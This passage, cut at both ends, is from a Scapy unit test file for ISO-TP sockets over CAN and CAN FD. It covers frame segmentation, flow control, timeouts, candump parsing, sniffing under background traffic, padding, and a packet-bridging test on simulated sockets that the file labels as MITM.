08\")\n\nthread.join(15)\nacks.close()\nassert not thread.is_alive()\n\n= Send two-frame ISOTP message with ST FD\nacks = TestSocket(CANFD)\nacker_ready = threading.Event()\ndef acker():\n    acker_ready.set()\n    acks.sniff(timeout=1, count=1)\n    acks.send(CANFD(identifier = 0x241, data=dhex(\"30 00 10\")))\n\nthread = Thread(target=acker)\nthread.start()\nacker_ready.wait(timeout=5)\nwith TestSocket(CANFD) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241, fd=True) as s, TestSocket(CANFD) as cans:\n    size_to_send = 124\n    max_pl_size = 62\n    data_str = \"{}\".format(\" \".join([\"%02X\" % x for x in range(size_to_send)]))\n    cans.pair(isocan)\n    cans.pair(acks)\n    isocan.pair(acks)\n    s.send(dhex(data_str))\n    pkts = cans.sniff(timeout=1, count=1)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    can = pkts[0]\n    assert can.identifier == 0x641\n    assert can.data == dhex(\"10 {} {}\".format(\"%02X\" % size_to_send, \" \".join([\"%02X\" % x for x in range(max_pl_size)])))\n    pkts = cans.sniff(timeout=1, count=1)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    can = pkts[0]\n    assert can.identifier == 0x241\n    assert can.data == dhex(\"30 00 10\")\n    pkts = cans.sniff(timeout=1, count=1)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    can = pkts[0]\n    assert can.identifier == 0x641\n    assert dhex(\"21 {}\".format(\" \".join([\"%02X\" % x for x in range(max_pl_size, size_to_send)]))) in can.data\n\nthread.join(15)\nacks.close()\nassert not thread.is_alive()\n\n= Receive a single frame ISOTP message\n\nwith TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s, TestSocket(CAN) as cans:\n    cans.pair(isocan)\n    cans.send(CAN(identifier = 0x241, data = dhex(\"05 01 02 03 04 05\")))\n    pkts = s.sniff(count=1, timeout=2)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    isotp = pkts[0]\n    assert isotp.data == dhex(\"01 02 03 04 05\")\n    assert isotp.tx_id == 0x641\n    assert isotp.rx_id == 0x241\n    assert isotp.ext_address == None\n    assert isotp.rx_ext_address == None\n\n\n= Receive a single frame ISOTP message, with extended addressing\n\nwith TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241, ext_address=0xc0, rx_ext_address=0xea) as s, TestSocket(CAN) as cans:\n    cans.pair(isocan)\n    cans.send(CAN(identifier = 0x241, data = dhex(\"EA 05 01 02 03 04 05\")))\n    pkts = s.sniff(count=1, timeout=2)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    isotp = pkts[0]\n    assert isotp.data == dhex(\"01 02 03 04 05\")\n    assert isotp.tx_id == 0x641\n    assert isotp.rx_id == 0x241\n    assert isotp.ext_address == 0xc0\n    assert isotp.rx_ext_address == 0xea\n\n\n= Receive frames from CandumpReader\ncandump_fd = BytesIO(b'''  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  241   [3]  30 00 00\n  vcan0  541   [5]  21 AA AA AA AA\n  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  241   [3]  30 00 00\n  vcan0  541   [5]  21 AA AA AA AA\n  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  241   [3]  30 00 00\n  vcan0  541   [5]  21 AA AA AA AA\n  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  241   [3]  30 00 00\n  vcan0  541   [5]  21 AA AA AA AA\n  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  241   [3]  30 00 00\n  vcan0  541   [5]  21 AA AA AA AA\n  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  241   [3]  30 00 00\n  vcan0  541   [5]  21 AA AA AA AA''')\n\nwith ISOTPSoftSocket(CandumpReader(candump_fd), tx_id=0x241, rx_id=0x541, listen_only=True) as s:\n    pkts = s.sniff(timeout=2, count=6)\n    assert len(pkts) == 6\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    isotp = pkts[0]\n    print(repr(isotp))\n    print(hex(isotp.tx_id))\n    print(hex(isotp.rx_id))\n    assert isotp.data == dhex(\"DE AD BE EF AA AA AA AA AA AA\")\n    assert isotp.tx_id == 0x241\n    assert isotp.rx_id == 0x541\n\n= Receive frames from CandumpReader with ISOTPSniffer without extended addressing\ncandump_fd = BytesIO(b'''  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  241   [3]  30 00 00\n  vcan0  541   [5]  21 AA AA AA AA\n  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  241   [3]  30 00 00\n  vcan0  541   [5]  21 AA AA AA AA\n  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  241   [3]  30 00 00\n  vcan0  541   [5]  21 AA AA AA AA\n  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  241   [3]  30 00 00\n  vcan0  541   [5]  21 AA AA AA AA\n  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  241   [3]  30 00 00\n  vcan0  541   [5]  21 AA AA AA AA\n  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  241   [3]  30 00 00\n  vcan0  541   [5]  21 AA AA AA AA''')\n\npkts = sniff(opened_socket=CandumpReader(candump_fd), session=ISOTPSession(use_ext_address=False), timeout=1)\nassert len(pkts) == 6\n\nif not len(pkts):\n    s.failure_analysis()\n    raise Scapy_Exception(\"ERROR\")\n\nisotp = pkts[0]\nassert isotp.data == dhex(\"DE AD BE EF AA AA AA AA AA AA\")\nassert (isotp.rx_id == 0x541)\n\n= Receive frames from CandumpReader with ISOTPSniffer\n* all flow control frames are detected as single frame with extended address\n\ncandump_fd = BytesIO(b'''  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  241   [3]  30 00 00\n  vcan0  541   [5]  21 AA AA AA AA\n  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  241   [3]  30 00 00\n  vcan0  541   [5]  21 AA AA AA AA\n  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  241   [3]  30 00 00\n  vcan0  541   [5]  21 AA AA AA AA\n  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  241   [3]  30 00 00\n  vcan0  541   [5]  21 AA AA AA AA\n  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  241   [3]  30 00 00\n  vcan0  541   [5]  21 AA AA AA AA\n  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  241   [3]  30 00 00\n  vcan0  541   [5]  21 AA AA AA AA''')\n\npkts = sniff(opened_socket=CandumpReader(candump_fd), session=ISOTPSession, timeout=1)\nif not len(pkts):\n    s.failure_analysis()\n    raise Scapy_Exception(\"ERROR\")\n\nassert len(pkts) == 12\nisotp = pkts[1]\nassert isotp.data == dhex(\"DE AD BE EF AA AA AA AA AA AA\")\nassert (isotp.rx_id == 0x541)\nisotp = pkts[0]\nassert isotp.data == dhex(\"\")\nassert (isotp.rx_id == 0x241)\n\n= Receive frames from CandumpReader with ISOTPSniffer and count\n* all flow control frames are detected as single frame with extended address\n\ncandump_fd = BytesIO(b'''  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  241   [3]  30 00 00\n  vcan0  541   [5]  21 AA AA AA AA\n  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  241   [3]  30 00 00\n  vcan0  541   [5]  21 AA AA AA AA\n  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  241   [3]  30 00 00\n  vcan0  541   [5]  21 AA AA AA AA\n  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  241   [3]  30 00 00\n  vcan0  541   [5]  21 AA AA AA AA\n  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  241   [3]  30 00 00\n  vcan0  541   [5]  21 AA AA AA AA\n  vcan0  541   [8]  10 0A DE AD BE EF AA AA\n  vcan0  241   [3]  30 00 00\n  vcan0  541   [5]  21 AA AA AA AA''')\n\npkts = sniff(opened_socket=CandumpReader(candump_fd), session=ISOTPSession, timeout=1, count=2)\nif not len(pkts):\n    s.failure_analysis()\n    raise Scapy_Exception(\"ERROR\")\n\nassert len(pkts) == 2\nisotp = pkts[1]\nassert isotp.data == dhex(\"DE AD BE EF AA AA AA AA AA AA\")\nassert (isotp.rx_id == 0x541)\nisotp = pkts[0]\nassert isotp.data == dhex(\"\")\nassert (isotp.rx_id == 0x241)\n\n= Receive a two-frame ISOTP message\n\nwith TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s, TestSocket(CAN) as cans:\n    cans.pair(isocan)\n    cans.send(CAN(identifier = 0x241, data = dhex(\"10 0B 01 02 03 04 05 06\")))\n    cans.send(CAN(identifier = 0x241, data = dhex(\"21 07 08 09 10 11\")))\n    pkts = s.sniff(count=1, timeout=1)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    isotp = pkts[0]\n    assert isotp.data == dhex(\"01 02 03 04 05 06 07 08 09 10 11\")\n\n= Check what happens when a CAN frame with wrong identifier gets received\n\nwith TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s, TestSocket(CAN) as cans:\n    cans.pair(isocan)\n    cans.send(CAN(identifier = 0x141, data = dhex(\"05 01 02 03 04 05\")))\n    assert s.ins.rx_queue.empty()\n\n+ Testing ISOTPSoftSocket timeouts\n\n= Check if not sending the last CF will make the socket timeout\nwith TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s, TestSocket(CAN) as cans:\n    cans.pair(isocan)\n    cans.send(CAN(identifier = 0x241, data = dhex(\"10 11 01 02 03 04 05 06\")))\n    cans.send(CAN(identifier = 0x241, data = dhex(\"21 07 08 09 0A 0B 0C 0D\")))\n    isotp = s.sniff(timeout=0.1)\n\nassert len(isotp) == 0\n\n= Check if not sending the first CF will make the socket timeout\n\nwith TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s, TestSocket(CAN) as cans:\n    cans.pair(isocan)\n    cans.send(CAN(identifier = 0x241, data = dhex(\"10 11 01 02 03 04 05 06\")))\n    isotp = s.sniff(timeout=0.1)\n\nassert len(isotp) == 0\n\n= Check if not sending the first FC will make the socket timeout\n\n# drain log_stream\nlog_stream.getvalue()\n\nisotp = ISOTP(data=dhex(\"01 02 03 04 05 06 07 08 09 0A\"))\n\nwith TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s, TestSocket(CAN) as cans:\n    cans.pair(isocan)\n    s.send(isotp)\n    time.sleep(1.3)\n\nassert \"TX state was reset due to timeout\" in log_stream.getvalue()\n\n= Check if not sending the second FC will make the socket timeout\n\n# drain log_stream\nlog_stream.getvalue()\n\nisotp = ISOTP(data=b\"\\xa5\" * 120)\ncans = TestSocket(CAN)\nisocan = TestSocket(CAN)\ncans.pair(isocan)\n\nacker = AsyncSniffer(store=False, opened_socket=cans,\n                     prn=lambda x: cans.send(CAN(identifier = 0x241, data=dhex(\"30 04 00\"))),\n                     count=1, timeout=1)\nacker.start()\nwith ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s:\n    s.send(isotp)\n    time.sleep(1.3)\n\nacker.join(timeout=5)\ncans.close()\nisocan.close()\n\nassert \"TX state was reset due to timeout\" in log_stream.getvalue()\n\n= Check if reception of an overflow FC will make a send fail\n\nlog_stream.getvalue()\nisotp = ISOTP(data=b\"\\xa5\" * 120)\ncans = TestSocket(CAN)\nisocan = TestSocket(CAN)\ncans.pair(isocan)\n\nacker = AsyncSniffer(store=False, opened_socket=cans,\n                     prn=lambda x: cans.send(\n                         CAN(identifier = 0x241, data=dhex(\"32 00 00\"))),\n                     count=1, timeout=1)\nacker.start()\n\nwith ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s:\n    s.send(isotp)\n    time.sleep(1.3)\n\nacker.join(timeout=5)\ncans.close()\nisocan.close()\n\nassert \"Overflow happened at the receiver side\" in log_stream.getvalue()\n\n+ More complex operations\n\n= ISOTPSoftSocket sr1\nmsg = ISOTP(b'\\x11\\x22\\x33\\x11\\x22\\x33\\x11\\x22\\x33\\x11\\x22\\x33')\n\nwith TestSocket(CAN) as isocan_tx, ISOTPSoftSocket(isocan_tx, 0x123, 0x321) as sock_tx, \\\n    TestSocket(CAN) as isocan_rx, ISOTPSoftSocket(isocan_rx, 0x321, 0x123) as sock_rx:\n    isocan_rx.pair(isocan_tx)\n    sniffer = AsyncSniffer(opened_socket=sock_rx, timeout=1, count=1, prn=lambda x: sock_rx.send(msg))\n    sniffer.start()\n    rx2 = sock_tx.sr1(msg, timeout=3, verbose=True)\n    sniffer.join(timeout=1)\n    rx = sniffer.results[0]\n\nassert rx == msg\nassert rx2 is not None\nassert rx2 == msg\n\n= ISOTPSoftSocket sr1 timeout\nmsg = ISOTP(b'\\x11\\x22\\x33\\x11\\x22\\x33\\x11\\x22\\x33\\x11\\x22\\x33')\n\nwith TestSocket(CAN) as isocan_tx, ISOTPSoftSocket(isocan_tx, 0x123, 0x321) as sock_tx, \\\n    TestSocket(CAN) as isocan_rx, ISOTPSoftSocket(isocan_rx, 0x321, 0x123) as sock_rx:\n    isocan_rx.pair(isocan_tx)\n    rx2 = sock_tx.sr1(msg, timeout=1, verbose=True)\n\nassert rx2 is None\n\n= ISOTPSoftSocket select returns control ObjectPipe\n\nfrom scapy.automaton import ObjectPipe as _ObjectPipe\n\nclose_pipe = _ObjectPipe(\"control_socket\")\nclose_pipe.send(None)\n\nwith TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, 0x123, 0x321) as sock:\n    result = ISOTPSoftSocket.select([sock, close_pipe], remain=0)\n\nassert close_pipe in result\n\nclose_pipe.close()\n\n= ISOTPSoftSocket select returns control ObjectPipe alongside ready rx_queue\n\nfrom scapy.automaton import ObjectPipe as _ObjectPipe\n\nclose_pipe = _ObjectPipe(\"control_socket\")\nclose_pipe.send(None)\n\nwith TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, 0x641, 0x241) as sock:\n    sock.impl.rx_queue.send((b'\\x62\\xF1\\x90\\x41\\x42\\x43', 0.0))\n    result = ISOTPSoftSocket.select([sock, close_pipe], remain=0)\n\nassert close_pipe in result\nassert sock in result\n\nclose_pipe.close()\n\n= ISOTPSoftSocket sr1 SF request with MF response threaded\n\nfrom threading import Thread\n\nrequest = ISOTP(b'\\x22\\xF1\\x90')\nresponse_data = b'\\x62\\xF1\\x90' + b'\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4A\\x4B\\x4C\\x4D\\x4E\\x4F\\x50'\nresponse_msg = ISOTP(response_data)\n\nwith TestSocket(CAN) as isocan_tx, ISOTPSoftSocket(isocan_tx, 0x641, 0x241) as sock_tx, \\\n     TestSocket(CAN) as isocan_rx, ISOTPSoftSocket(isocan_rx, 0x241, 0x641) as sock_rx:\n    isocan_rx.pair(isocan_tx)\n    def responder():\n        sniffed = sock_rx.sniff(count=1, timeout=5)\n        if sniffed:\n            sock_rx.send(response_msg)\n    resp_thread = Thread(target=responder, daemon=True)\n    resp_thread.start()\n    time.sleep(0.1)\n    rx = sock_tx.sr1(request, timeout=5, verbose=False, threaded=True)\n    resp_thread.join(timeout=5)\n    assert not resp_thread.is_alive(), \"resp_thread still alive\"\n    # Stop TimeoutScheduler while sockets are still open to avoid\n    # callbacks crashing on closed sockets and writing to stderr.\n    _ts = TimeoutScheduler._thread\n    TimeoutScheduler.clear()\n    if _ts is not None:\n        _ts.join(timeout=5)\n\nassert rx is not None\nassert rx.data == response_data\n\n= ISOTPSoftSocket sr1 timeout with threaded=True\n\nfrom threading import Thread, Event\nmsg = ISOTP(b'\\x11\\x22\\x33\\x11\\x22\\x33\\x11\\x22\\x33\\x11\\x22\\x33')\n\nwith TestSocket(CAN) as isocan_tx, ISOTPSoftSocket(isocan_tx, 0x123, 0x321) as sock_tx, \\\n    TestSocket(CAN) as isocan_rx, ISOTPSoftSocket(isocan_rx, 0x321, 0x123) as sock_rx:\n    isocan_rx.pair(isocan_tx)\n    start = time.time()\n    rx2 = sock_tx.sr1(msg, timeout=3, verbose=False, threaded=True)\n    elapsed = time.time() - start\n    # Stop TimeoutScheduler while sockets are still open.\n    _ts = TimeoutScheduler._thread\n    TimeoutScheduler.clear()\n    if _ts is not None:\n        _ts.join(timeout=5)\n\nassert rx2 is None\nassert elapsed < 5\n\n= ISOTPSoftSocket sr1 timeout with threaded=True and background traffic\n\nfrom threading import Thread, Event\nmsg = ISOTP(b'\\x11\\x22\\x33\\x11\\x22\\x33\\x11\\x22\\x33\\x11\\x22\\x33')\n\nwith TestSocket(CAN) as isocan_tx, ISOTPSoftSocket(isocan_tx, 0x123, 0x321) as sock_tx, \\\n    TestSocket(CAN) as isocan_rx, ISOTPSoftSocket(isocan_rx, 0x321, 0x123) as sock_rx:\n    isocan_rx.pair(isocan_tx)\n    stop_traffic = Event()\n    def bg_traffic():\n        while not stop_traffic.is_set():\n            try:\n                isocan_rx.send(CAN(identifier=0x456, data=dhex(\"01 02 03\")))\n            except Exception:\n                break\n            time.sleep(0.01)\n    traffic_thread = Thread(target=bg_traffic, daemon=True)\n    traffic_thread.start()\n    start = time.time()\n    rx2 = sock_tx.sr1(msg, timeout=3, verbose=False, threaded=True)\n    elapsed = time.time() - start\n    stop_traffic.set()\n    traffic_thread.join(timeout=5)\n    assert not traffic_thread.is_alive(), \"traffic_thread still alive\"\n    # Stop TimeoutScheduler while sockets are still open.\n    _ts = TimeoutScheduler._thread\n    TimeoutScheduler.clear()\n    if _ts is not None:\n        _ts.join(timeout=5)\n\nassert rx2 is None\nassert elapsed < 5\n\n= ISOTPSoftSocket sr1 SF request with MF response threaded and background traffic on slow interface\n\nfrom threading import Thread, Event\n\nresponse_data = b'\\x62\\xF1\\x90' + b'\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4A\\x4B\\x4C\\x4D\\x4E\\x4F\\x50'\n\nstim = TestSocket(CAN)\nisocan = TestSocket(CAN)\nstim.pair(isocan)\n\nbg_frame = CAN(identifier=0x456, data=dhex(\"01 02 03\"))\nff_frame = CAN(identifier=0x241, data=dhex(\"10 13 62 F1 90 41 42 43\"))\ncf1_frame = CAN(identifier=0x241, data=dhex(\"21 44 45 46 47 48 49 4A\"))\ncf2_frame = CAN(identifier=0x241, data=dhex(\"22 4B 4C 4D 4E 4F 50 00\"))\n\nbg_count = 2000 # Large number of frames to stress the ISOTPSoftSocket implementation\n\nfor _ in range(100):\n    _ = stim.send(bg_frame)\n\nstim.send(ff_frame)\n\nfor _ in range(bg_count):\n    _ = stim.send(bg_frame)\n\nstim.send(cf1_frame)\nstim.send(cf2_frame)\n\nwith isocan, stim, ISOTPSoftSocket(isocan, 0x641, 0x241) as sock:\n    pkts = sock.sniff(count=1, timeout=10)\n    # Stop TimeoutScheduler while sockets are still open.\n    _ts = TimeoutScheduler._thread\n    TimeoutScheduler.clear()\n    if _ts is not None:\n        _ts.join(timeout=5)\n\nassert len(pkts) == 1, \"MF response not received due to background traffic\"\nassert pkts[0].data == response_data\n\n= ISOTPSoftSocket MF response with delayed CFs and background traffic\n\nfrom threading import Thread, Event\n\nresponse_data = b'\\x62\\xF1\\x90' + b'\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4A\\x4B\\x4C\\x4D\\x4E\\x4F\\x50'\n\nwith TestSocket(CAN) as stim, TestSocket(CAN) as isocan, \\\n     ISOTPSoftSocket(isocan, 0x641, 0x241) as sock:\n    stim.pair(isocan)\n    stop_traffic = Event()\n    def bg_traffic():\n        bg_frame = CAN(identifier=0x456, data=dhex(\"01 02 03\"))\n        while not stop_traffic.is_set():\n            try:\n                stim.send(bg_frame)\n            except Exception:\n                break\n            time.sleep(0.001)\n    def delayed_response():\n        time.sleep(0.05)\n        sock.impl.rx_tx_poll_rate = 10\n        stim.send(CAN(identifier=0x241, data=dhex(\"10 13 62 F1 90 41 42 43\")))\n        time.sleep(0.01)\n        stim.send(CAN(identifier=0x241, data=dhex(\"21 44 45 46 47 48 49 4A\")))\n        time.sleep(0.01)\n        stim.send(CAN(identifier=0x241, data=dhex(\"22 4B 4C 4D 4E 4F 50 00\")))\n    traffic_thread = Thread(target=bg_traffic)\n    traffic_thread.start()\n    resp_thread = Thread(target=delayed_response)\n    resp_thread.start()\n    pkts = sock.sniff(count=1, timeout=5)\n    stop_traffic.set()\n    traffic_thread.join(timeout=5)\n    resp_thread.join(timeout=5)\n    assert not traffic_thread.is_alive(), \"traffic_thread still alive\"\n    assert not resp_thread.is_alive(), \"resp_thread still alive\"\n    # Stop TimeoutScheduler while sockets are still open.\n    _ts = TimeoutScheduler._thread\n    TimeoutScheduler.clear()\n    if _ts is not None:\n        _ts.join(timeout=5)\n\nassert len(pkts) == 1, \"MF response not received with delayed CFs and slow poll rate\"\nassert pkts[0].data == response_data\n\n= ISOTPSoftSocket sniff\n\nmsg = ISOTP(b'\\x11\\x22\\x33\\x11\\x22\\x33\\x11\\x22\\x33\\x11\\x22\\x33')\nwith TestSocket(CAN) as isocan1, ISOTPSoftSocket(isocan1, 0x123, 0x321) as sock, \\\n        TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, 0x321, 0x123) as rx_sock:\n    isocan1.pair(isocan)\n    msg.data += b'0'\n    sock.send(msg)\n    msg.data += b'1'\n    sock.send(msg)\n    msg.data += b'2'\n    sock.send(msg)\n    msg.data += b'3'\n    sock.send(msg)\n    msg.data += b'4'\n    sock.send(msg)\n    rx = rx_sock.sniff(count=5, timeout=5)\n\nmsg = ISOTP(b'\\x11\\x22\\x33\\x11\\x22\\x33\\x11\\x22\\x33\\x11\\x22\\x33')\nmsg.data += b'0'\nassert rx[0] == msg\nmsg.data += b'1'\nassert rx[1] == msg\nmsg.data += b'2'\nassert rx[2] == msg\nmsg.data += b'3'\nassert rx[3] == msg\nmsg.data += b'4'\nassert rx[4] == msg\n\n+ ISOTPSoftSocket MITM attack tests\n\n= bridge and sniff with isotp soft sockets set up vcan0 and vcan1 for package forwarding vcan1\nsucc = False\n\nwith TestSocket(CAN) as can0_0, \\\n        TestSocket(CAN) as can0_1, \\\n        TestSocket(CAN) as can1_0, \\\n        TestSocket(CAN) as can1_1, \\\n        ISOTPSoftSocket(can0_0, tx_id=0x241, rx_id=0x641) as isoTpSocket0, \\\n        ISOTPSoftSocket(can1_0, tx_id=0x541, rx_id=0x141) as isoTpSocket1, \\\n        ISOTPSoftSocket(can0_1, tx_id=0x641, rx_id=0x241) as bSocket0, \\\n        ISOTPSoftSocket(can1_1, tx_id=0x141, rx_id=0x141) as bSocket1:\n    can0_0.pair(can0_1)\n    can1_1.pair(can1_0)\n    evt = threading.Event()\n    def forwarding(pkt):\n        global forwarded\n        forwarded += 1\n        return pkt\n    def bridge():\n        global forwarded, succ\n        forwarded = 0\n        bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=1.5,\n                         started_callback=evt.set, count=1)\n        succ = True\n    threadBridge = threading.Thread(target=bridge)\n    threadBridge.start()\n    evt.wait(timeout=5)\n    packetsVCan1 = isoTpSocket1.sniff(timeout=1.5, count=1, started_callback=lambda: isoTpSocket0.send(ISOTP(b'Request')))\n    threadBridge.join(timeout=5)\n    assert not threadBridge.is_alive()\n\nassert forwarded == 1\nassert len(packetsVCan1) == 1\nassert succ\n\n= bridge and sniff with isotp soft sockets and multiple long packets\n\nN = 3\nT = 3\n\nsucc = False\nwith TestSocket(CAN) as can0_0, \\\n        TestSocket(CAN) as can0_1, \\\n        TestSocket(CAN) as can1_0, \\\n        TestSocket(CAN) as can1_1, \\\n        ISOTPSoftSocket(can0_0, tx_id=0x241, rx_id=0x641) as isoTpSocket0, \\\n        ISOTPSoftSocket(can1_0, tx_id=0x541, rx_id=0x141) as isoTpSocket1, \\\n        ISOTPSoftSocket(can0_1, tx_id=0x641, rx_id=0x241) as bSocket0, \\\n        ISOTPSoftSocket(can1_1, tx_id=0x141, rx_id=0x541) as bSocket1:\n    can0_0.pair(can0_1)\n    can1_1.pair(can1_0)\n    evt = threading.Event()\n    def forwarding(pkt):\n        global forwarded\n        forwarded += 1\n        return pkt\n    def bridge():\n        global forwarded, succ\n        forwarded = 0\n        bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding,\n                         timeout=T, count=N, started_callback=evt.set)\n        succ = True\n    threadBridge = threading.Thread(target=bridge)\n    threadBridge.start()\n    evt.wait(timeout=5)\n    for _ in range(N):\n        isoTpSocket0.send(ISOTP(b'RequestASDF1234567890'))\n    packetsVCan1 = isoTpSocket1.sniff(timeout=T, count=N)\n    threadBridge.join(timeout=5)\n\nassert not threadBridge.is_alive()\n\nassert forwarded == N\nassert len(packetsVCan1) == N\nassert succ\n\n= bridge and sniff with isotp soft sockets set up vcan0 and vcan1 for package change vcan1\n\nsucc = False\nwith TestSocket(CAN) as can0_0, \\\n        TestSocket(CAN) as can0_1, \\\n        TestSocket(CAN) as can1_0, \\\n        TestSocket(CAN) as can1_1, \\\n        ISOTPSoftSocket(can0_0, tx_id=0x241, rx_id=0x641) as isoTpSocket0, \\\n        ISOTPSoftSocket(can1_0, tx_id=0x641, rx_id=0x241) as isoTpSocket1, \\\n        ISOTPSoftSocket(can0_1, tx_id=0x641, rx_id=0x241) as bSocket0, \\\n        ISOTPSoftSocket(can1_1, tx_id=0x241, rx_id=0x641) as bSocket1:\n    can0_0.pair(can0_1)\n    can1_1.pair(can1_0)\n    evt = threading.Event()\n    def forwarding(pkt):\n        pkt.data = 'changed'\n        return pkt\n    def bridge():\n        global succ\n        bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=3,\n                         started_callback=evt.set, count=1)\n        succ = True\n    threadBridge = threading.Thread(target=bridge)\n    threadBridge.start()\n    evt.wait(timeout=5)\n    packetsVCan1 = isoTpSocket1.sniff(timeout=2, count=1, started_callback=lambda: isoTpSocket0.send(ISOTP(b'Request')))\n    threadBridge.join(timeout=5)\n    assert not threadBridge.is_alive()\n\nassert len(packetsVCan1) == 1\nassert packetsVCan1[0].data == b'changed'\nassert succ\n\n= Two ISOTPSoftSockets at the same time, sending and receiving\n\nwith TestSocket(CAN) as cs1, ISOTPSoftSocket(cs1, tx_id=0x641, rx_id=0x241) as s1, \\\n        TestSocket(CAN) as cs2, ISOTPSoftSocket(cs2, tx_id=0x241, rx_id=0x641) as s2:\n    cs1.pair(cs2)\n    isotp = ISOTP(data=b\"\\x10\\x25\" * 43)\n    s2.send(isotp)\n    result = s1.sniff(count=1, timeout=5)\n\nassert len(result) == 1\nassert result[0].data == isotp.data\n\n\n= Two ISOTPSoftSockets at the same time, sending and receiving with tx_gap\n\nwith TestSocket(CAN) as cs1, ISOTPSoftSocket(cs1, tx_id=0x641, rx_id=0x241, stmin=1) as s1, \\\n        TestSocket(CAN) as cs2, ISOTPSoftSocket(cs2, tx_id=0x241, rx_id=0x641) as s2:\n    cs1.pair(cs2)\n    isotp = ISOTP(data=b\"\\x10\\x25\" * 43)\n    s2.send(isotp)\n    result = s1.sniff(count=1, timeout=5)\n\nassert len(result) == 1\nassert result[0].data == isotp.data\n\n\n= Two ISOTPSoftSockets at the same time, multiple sends/receives\ndef test():\n    with TestSocket(CAN) as cs1, ISOTPSoftSocket(cs1, tx_id=0x641, rx_id=0x241) as s1, \\\n            TestSocket(CAN) as cs2, ISOTPSoftSocket(cs2, tx_id=0x241, rx_id=0x641) as s2:\n        cs1.pair(cs2)\n        for i in range(1, 40, 5):\n            isotp = ISOTP(data=bytearray(range(i, i * 2)))\n            s2.send(isotp)\n        result = s1.sniff(count=8, timeout=5)\n    print(result)\n    for p in result:\n        print(repr(p))\n    assert len(result) == 8\n\ntest()\n\n= Send a single frame ISOTP message with padding\n\nwith TestSocket(CAN) as cs1, ISOTPSoftSocket(cs1, tx_id=0x641, rx_id=0x241, padding=True) as s:\n    with TestSocket(CAN) as cans:\n        cs1.pair(cans)\n        s.send(ISOTP(data=dhex(\"01\")))\n        pkts = cans.sniff(timeout=1, count=1)\n        if not len(pkts):\n            s.failure_analysis()\n            raise Scapy_Exception(\"ERROR\")\n        res = pkts[0]\n        assert res.length == 8\n\n= Send a single frame ISOTP message with padding FD\n\nwith TestSocket(CANFD) as cs1, ISOTPSoftSocket(cs1, tx_id=0x641, rx_id=0x241, padding=True, fd=True) as s:\n    with TestSocket(CANFD) as cans:\n        cs1.pair(cans)\n        pl_sizes_testings = [1, 5, 7, 8, 9, 12, 15, 17, 20, 21, 27, 35, 40, 46, 50, 62]\n        pl_sizes_expected = [8, 8, 8, 12, 12, 16, 20, 20, 24, 24, 32, 48, 48, 48, 64, 64]\n        for i, pl_size in enumerate(pl_sizes_testings):\n            s.send(dhex(\" \".join([\"%02X\" % x for x in range(pl_size)])))\n            pkts = cans.sniff(timeout=1, count=1)\n            if not len(pkts):\n                